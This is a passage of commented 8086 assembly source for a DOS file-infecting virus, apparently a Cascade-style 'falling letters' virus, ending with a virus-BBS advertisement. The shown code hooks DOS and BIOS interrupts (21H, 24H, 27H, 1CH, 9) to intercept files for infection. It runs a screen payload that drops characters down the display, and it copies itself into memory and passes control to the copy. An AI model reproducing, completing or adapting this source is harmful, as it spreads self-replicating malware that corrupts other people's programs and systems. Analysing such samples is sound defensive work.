MOV PTHDSK[SI],0FFH ; Set drive to none
CMP BYTE PTR [BX+01],':' ; Does pathname include drive?
JNE BP0750 ; Branch if not
MOV AL,[BX] ; Get drive letter
OR AL,20H ; Convert to lowercase
SUB AL,'a' ; Convert to number
MOV PTHDSK[SI],AL ; Store drive
BP0750: PUSH SI
PUSH DI
PUSH ES
CLD
MOV SI,DX ; Pathname pointer
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV DI,OFFSET DB0884+100H ; Pathname
BP0760: LODSB ; Get a character
STOSB ; Store a character
OR AL,AL ; Was that the last?
JNZ BP0760 ; Branch if not
POP ES
POP DI
POP SI
CALL BP0380 ; Process file
CALL BP0610 ; Restore Int 24H vector
AND BYTE PTR CS:SWTCHB+100H,0FDH ; Set off switch two
POP AX
POP DS
POP BP
POP DI
POP SI
POP BX
POP ES
POP DX
POP CX
JMP BP0710 ; Pass on to old Int 21H
; Interrupt 27H routine
BP0770: ADD DX,0FH ; Round up
MOV CL,4 ; Bits to shift
SHR DX,CL ; Convert to paragraphs
JMP BP0690 ; Keep process
; Interrupt 27H - jump to original routine
BP0780: DB 0EAH ; Far jump to Int 27H
I27_OF DW 05DFEH ; Original Int 27H offset
I27_SG DW 00291H ; Original Int 27H segment
; Interrupt 24H routine
BP0790: PUSH SI
CALL BP0800 ; \ Get current location
BP0800: POP SI ; /
SUB SI,OFFSET BP0800 ; Subtract offset
OR CRTERR[SI],1 ; Set critical error flag
POP SI
XOR AL,AL ; No action
IRET
DB086E DB 1 ; Past second line indicator
DB 0
DB0870 DB 0 ; Characters going down switch
DB 0
SWTCHB DB 82H ; Switch byte
; 01 - switch one - alternate timer tick
; 02 - switch two - processing file
; 04 - switch three - infection count target reached
; 08 - switch four - count two started
; 10 - switch five - don't go to start of line
; 20 - switch six - count two started and finished (?)
; 40 - switch seven - count two finished
; 80 - switch eight - video display permitted
I09_OF DW 0 ; Old Int 9 offset
I09_SG DW 0 ; Old Int 9 segment
DSPCNT DW 0FFDCH ; Display count
I09BSY DB 0 ; Int 9 busy switch
KEYTOK DB 0 ; Keyboard token
KEYNUM DB 0 ; Key number
VIDADR DW 0B800H ; Video RAM segment
RSTCNT DW 0 ; Restore count
FLENLO DW 39H ; File length, low word
FLENHI DW 0 ; File length, high word
DB0884 DB 'C:\3066\HELLO.COM', 0 ; Pathname
DB 'EXE', 0, 'E', 90H DUP (0)
BP0820: PUSH CX
PUSH DS
PUSH ES
PUSH SI
PUSH DI
PUSH CS ; \ Set ES to CS
POP ES ; /
CLD
TEST AL,20H ; Test switch six
JZ BP0850 ; Branch if off
TEST AL,2 ; Test switch two
JNZ BP0860 ; Branch if on
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
ASSUME DS:BOOT
MOV AL,BB0449 ; Get current VDU mode
MOV CX,0B800H ; VDU RAM address
CMP AL,7 ; Mode 7?
JNE BP0830 ; Branch if not
MOV CX,0B000H ; External mono VDU RAM
JMP SHORT BP0840
BP0830: CMP AL,2 ; Mode 2?
JE BP0840 ; Branch if yes
CMP AL,3 ; Mode 3?
JNE BP0860 ; Branch if not
BP0840: MOV VIDADR+100H,CX ; Save video RAM segment
OR SWTCHB+100H,2 ; Set on switch two
MOV RSTCNT+100H,0 ; Set restore count to zero
MOV DS,CX ; Address video RAM
MOV CX,80*25 ; Length to copy
XOR SI,SI ; From zero
MOV DI,OFFSET SIGNAT+100H ; To end of virus
REPZ MOVSW ; Copy video
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
MOV AX,OFFSET BP1010+100H ; Interrupt 9 routine
XCHG AX,BW0024 ; Install as Int 9 offset
MOV I09_OF+100H,AX ; Save old Int 9 offset
MOV AX,CS ; Get current segment
XCHG AX,BW0026 ; Install as Int 9 segment
MOV I09_SG+100H,AX ; Save old Int 9 segment
BP0850: MOV CX,0050H ; Length of one line
MOV AX,80*24*2 ; Last line address
MOV DI,OFFSET DW0005+100H ; Address line store
REPZ STOSW ; Store line numbers
AND SWTCHB+100H,7 ; Set off switches above three
BP0860: POP DI
POP SI
POP ES
POP DS
POP CX
JMP BP0990 ; Pass on to original Int 1CH
BP0870: JMP BP0820
; Interrupt 1CH routine
BP0880: PUSH AX
MOV I09BSY+100H,0 ; Clear Int 9 busy switch
MOV AL,SWTCHB+100H ; Get switches
TEST AL,60H ; Test switches six and seven
JNZ BP0870 ; Branch if either is on
TEST AL,80H ; Test switch eight
JZ BP0910 ; Branch if off
CMP RSTCNT+100H,0 ; Is restore count off?
JE BP0890 ; Branch if yes
INC RSTCNT+100H ; Increment restore count
CMP RSTCNT+100H,0444H ; Have we reached target (1 minute)?
JL BP0890 ; Branch if not
CALL BP1030 ; Video display routine
JMP BP0990 ; Pass on to original Int 1CH
BP0890: TEST AL,18H ; Test switches four and five
JZ BP0900 ; Branch if both off
DEC DSPCNT+100H ; Decrement display count
JNZ BP0900 ; Branch if not finished
AND SWTCHB+100H,0E7H ; Set off switch three
OR SWTCHB+100H,40H ; Set on switch seven
TEST AL,8 ; Test switch four
JZ BP0900 ; Branch if off
OR SWTCHB+100H,20H ; Set on switch six
BP0900: JMP BP0990 ; Pass on to original Int 1CH
BP0910: XOR SWTCHB+100H,1 ; Toggle switch one
TEST AL,1 ; Test previous state
JZ BP0900 ; Branch if off
PUSH BX
PUSH SI
PUSH DS
MOV DS,VIDADR+100H ; Get video RAM segment
XOR SI,SI ; Start of line
MOV DB086E+100H,0 ; Set past second line off
BP0920: MOV BX,DW0005[SI+100H] ; Get current line number
OR BX,BX ; First line?
JZ BP0930 ; Branch if yes
CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
JNE BP0930 ; Branch if not
CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
JE BP0930 ; Branch if yes
MOV AX,0720H ; White on black space
XCHG AX,[BX+SI+0FF60H] ; Swap with line above
MOV [BX+SI],AX ; Store new character this line
ADD BX,80*2 ; Next line
BP0930: CMP BX,80*25*2 ; Past last line?
JE BP0940 ; Branch if yes
CMP BYTE PTR [BX+SI],' ' ; Is character a blank
JNE BP0940 ; Branch if not
JNE BP0970 ; ?
BP0940: MOV BX,80*24*2 ; Address last line
BP0950: CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
JNE BP0960 ; Branch if not
CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space?
JNE BP0970 ; Branch if not
BP0960: SUB BX,80*2 ; Previous line
OR BX,BX ; First line?
JNZ BP0950 ; Branch if not
BP0970: MOV DW0005[SI+100H],BX ; Save current line number
OR WORD PTR DB086E+100H,BX ; Set past second line indicator
ADD SI,2 ; Next character position
CMP SI,80*2 ; End of line?
JNE BP0920 ; Branch if not
CMP DB086E+100H,0 ; Past second line?
JNE BP0980 ; Branch if yes
OR SWTCHB+100H,80H ; Set on switch eight
MOV RSTCNT+100H,1 ; Start restore count
BP0980: POP DS
POP SI
POP BX
BP0990: POP AX
DB 0EAH ; Far jump to Int 1CH
I1C_OF DW 0FF53H ; Original Int 1CH offset
I1C_SG DW 0F000H ; Original Int 1CH segment
; Signal end of interrupt
BP1000: MOV AL,20H ; \ End of interrupt
OUT 20H,AL ; /
POP AX
IRET
; Interrupt 9 routine
BP1010: PUSH AX
IN AL,60H ; Get keyboard token
MOV KEYTOK+100H,AL ; Save keyboard token
IN AL,61H ; Get port B
MOV AH,AL ; Save port B
OR AL,80H ; \ Acknowledge keyboard
OUT 61H,AL ; /
MOV AL,AH ; \ Restore Port B
OUT 61H,AL ; /
CMP I09BSY+100H,0 ; Test Int 9 busy switch
MOV I09BSY+100H,1 ; Set Int 9 busy switch on
JNE BP1000 ; Branch if on already
MOV AL,KEYTOK+100H ; Get keyboard token
CMP AL,0F0H ; \ ? discard this character
JE BP1000 ; /
AND AL,7FH ; Set off top bit
CMP AL,KEYNUM+100H ; Same as last character?
MOV KEYNUM+100H,AL ; Save key number
JE BP1000 ; Branch if same as last
CMP RSTCNT+100H,0 ; Is restore count off?
JE BP1020 ; Branch if yes
MOV RSTCNT+100H,1 ; Restart restore count
BP1020: CALL BP1030 ; Video display routine
JMP BP1000 ; End of interrupt
; Video display routine
BP1030: MOV DSPCNT+100H,0028H ; Set up short display count (2+ secs)
TEST SWTCHB+100H,80H ; Test switch eight
JZ BP1000 ; Branch if off
MOV DB0870+100H,1 ; Set character going down
PUSH BX
PUSH SI
PUSH DS
MOV DS,VIDADR+100H ; Get video RAM segment
TEST SWTCHB+100H,10H ; Test switch five
JNZ BP1070 ; Branch if on
OR SWTCHB+100H,10H ; Set on switch five
XOR SI,SI ; Start of line
BP1040: MOV BX,80*24*2 ; Address last line
BP1050: CMP BYTE PTR [BX+SI],' ' ; Is character a blank?
JE BP1060 ; Branch if yes
SUB BX,80*2 ; Previous line
JNB BP1050 ; Branch if not
MOV BX,80*24*2 ; Address last line
BP1060: ADD BX,80*2 ; Next line
MOV DW0005[SI+100H],BX ; Save current line number
MOV FLENLO[SI+100H],BX ; Save last line number
INC SI ; \ Next character position
INC SI ; /
CMP SI,80*2 ; End of line?
JNE BP1040 ; Branch if not
BP1070: XOR SI,SI ; Start of line
BP1080: CMP DW0005[SI+100H],80*25*2 ; End of display area?
JE BP1140 ; Branch if yes
MOV BX,FLENLO[SI+100H] ; Get last line number
MOV AX,[BX+SI] ; Get current char and attributes
CMP AX,CS:SIGNAT[BX+SI+100H] ; Is it the same as the stored copy?
JNE BP1100 ; Branch if not
PUSH BX
BP1090: OR BX,BX ; First line?
JZ BP1120 ; Restore video if yes
SUB BX,80*2 ; Previous line
CMP AX,CS:SIGNAT[BX+SI+100H] ; Is this line same as current?
JNE BP1090 ; Branch if not
CMP AX,[BX+SI] ; Is this line the same
JE BP1090 ; Branch if yes
POP BX
BP1100: OR BX,BX ; First line?
JNZ BP1110 ; Character up one line if not
MOV WORD PTR [SI],0720H ; White on black space
JMP SHORT BP1130
; Move character up one line
BP1110: MOV AX,[BX+SI] ; Get current char and attributes
MOV [BX+SI+0FF60H],AX ; Move to previous line
MOV WORD PTR [BX+SI],0720H ; White on black space
SUB FLENLO[SI+100H],80*2 ; Move last line number up one
MOV DB0870+100H,0 ; Set characters going up
JMP SHORT BP1140
; Restore video
BP1120: POP BX
BP1130: MOV BX,DW0005[SI+100H] ; Get current line number
ADD BX,80*2 ; Next line
MOV DW0005[SI+100H],BX ; Save new current line number
MOV FLENLO[SI+100H],BX ; Save last line number
BP1140: INC SI ; \ Next character position
INC SI ; /
CMP SI,80*2 ; End of line?
JNE BP1080 ; Branch if not
CMP DB0870+100H,0 ; Are characters going down
JE BP1150 ; Branch if not
PUSH ES
PUSH DI
PUSH CX
PUSH DS ; \ Set ES to DS
POP ES ; /
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,OFFSET SIGNAT+100H ; From end of virus
XOR DI,DI ; To zero
MOV CX,80*25 ; Length to copy
REPZ MOVSW ; Restore video
MOV DSPCNT+100H,0FFDCH ; Restart display count (60 mins)
AND SWTCHB+100H,4 ; Set off all switches but three
OR SWTCHB+100H,88H ; Set on switches four and eight
MOV RSTCNT+100H,0 ; Set restore count off
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
ASSUME DS:BOOT
MOV AX,I09_OF+100H ; Get old Int 9 offset
MOV BW0024,AX ; Re-install Int 9 offset
MOV AX,I09_SG+100H ; Get old Int 9 segment
MOV BW0026,AX ; Re-install Int 9 segment
POP CX
POP DI
POP ES
BP1150: POP DS
POP SI
POP BX
RET
; Copy virus and transfer control
BP1160: CLD
POP AX ; Recover return address
SUB AX,SI ; Subtract source offset
ADD AX,DI ; Add target offset
PUSH ES ; Push new segment
PUSH AX ; Push new return address
REPZ MOVSB ; Copy virus
RETF ; Return to copy
DB 090H
SIGNAT DW 0E850H
DB 0E2H, 003H, 08BH
ENDADR EQU $
CODE ENDS
END

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ